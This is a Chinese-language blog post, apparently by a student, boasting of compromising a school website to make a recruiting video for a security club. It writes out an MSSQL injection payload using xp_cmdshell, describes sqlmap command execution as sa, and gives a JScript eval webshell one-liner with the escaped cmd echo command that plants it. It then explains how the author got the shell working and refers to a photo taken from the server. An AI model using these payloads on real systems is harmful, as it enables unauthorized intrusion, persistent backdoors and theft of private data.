下学期协会招新需要一个网络安全方面的炫酷视频。怎么录才能显得“炫酷”?起初想在Kali下面利用吊炸天的一些工具来录制,想到maltego那牛逼哄哄的画面,Kali自身给人的好奇感……最后实际上我的虚拟机下运行kali不是很流畅,也就打消了这个念头!于是乎,传统的从入门到Getshell(ruyu)便上场了!
话说一年一度的高考结束了,一大波学弟(xuemei)学妹们即将到来,小心思动了……怎么办?
于是乎,找到了***网站。
看了看,一分钟,两分钟……好了,渗透成功了:){~请容我ZB一次~}
锁定目标之后,对网站进行了全面的测试:
由于是aspx的网站架构,能想象,database很可能就是mssql:
?param=1%27;EXEC%20master.dbo.xp_cmdshell%20%27dir%27--%20
经过手工检测,这个payload是正常页面,但是并没有回显到页面,这里有点小疑问(如果你了解,请在评论去指出),后面果断上SQLMAP:
SQLMAP不愧为SQL Injection 方面的神器,尽管有些人说sqlninja在mssql上更胜sqlmap一筹,不过我觉得sqlmap都已经很不错了。
可以看到,sql server 2005存在默认xp_cmdshell开启,而经检测当前又为sa用户,故可以用sqlmap直接执行系统命令(这里我可以直接远程开启3389,远程添加管理员,但是有一个局限导致这条直接通往Roma的大道是不通的:整个xuexiao的网站是不能用外网连接3389的[导致这个现象的原因有多种,后面再集中解决了])。
所以我就在想直接用远程cmd上传一个webshell然后再菜刀连接之,方便管理~
简单的报错等都无法得到绝对路径,看来是运维关闭了错误回显了。之后我用了一个自认为最笨的办法,那就是在远程命令行下使用dir命令找出网站绝对路径。
经历了从 dir c:
到 dir e:
终于让我发现了,然而进去又有多个站点,在经过一番测试之后成功找出了当前网站的路径。
<%@ Page Language='Jscript'%><%eval(Request.Item['caidao'],'unsafe');%>
构造了以下payload:
payload: echo "<%@ Page Language='Jscript'%><%eval(Request.Item['linge'],'unsafe');%> " >> e:/web/site2/1.aspx
但是问题出现了,写入的一句话内容是这样的:
"<%@ Page Language='Jscript'%><%eval(Request.Item['linge'],'unsafe');%>"
直接去掉"" 又导致不能正常上传 ,原因是 < > 会让系统误认为是>>,导致语法不正确。这时候最会想到的就是转义 "" 使用无效,百度了一番,终于Get到了新技能:windows CMD 下对于"<" / ">"的转义是用"^",即"^<"、"^>",这下重新构造payload:
echo ^<%@ Page Language='Jscript'%^>^<%eval(Request.Item['linge'],'unsafe');%^> >> e:/web/site2/1.aspx
成功上传了!
直接访问上传上去的1.aspx会发现浏览器会302跳转到 default.html
,在网站目录下访问其他aspx文件也是一样的效果,观察发现只能访问html文件,也就意味着你上传的webshell不能连接。就连 uploads/
目录也是这个情况。后来细心地我发现,在这个网站根目录下有个 Website1
的目录,进入发现了一个aspx文件,抱着试一试的心理拿到浏览器去试,幸运的是他没有跳转,直接报错了。我试着直接把 1.aspx
上传到这个目录下, 1.aspx
可以访问而不跳转了,但是报错导致菜刀链接失败,看了下他的报错是这样的:
于是我在我的木马前面加上了 <head runat="server" />
,再去访问,发现没有报错了:)
成功用菜刀链接了:)
至此,前渗透阶段完成了!
最后以服务器上看到的一张照片结尾吧!算是一个福利: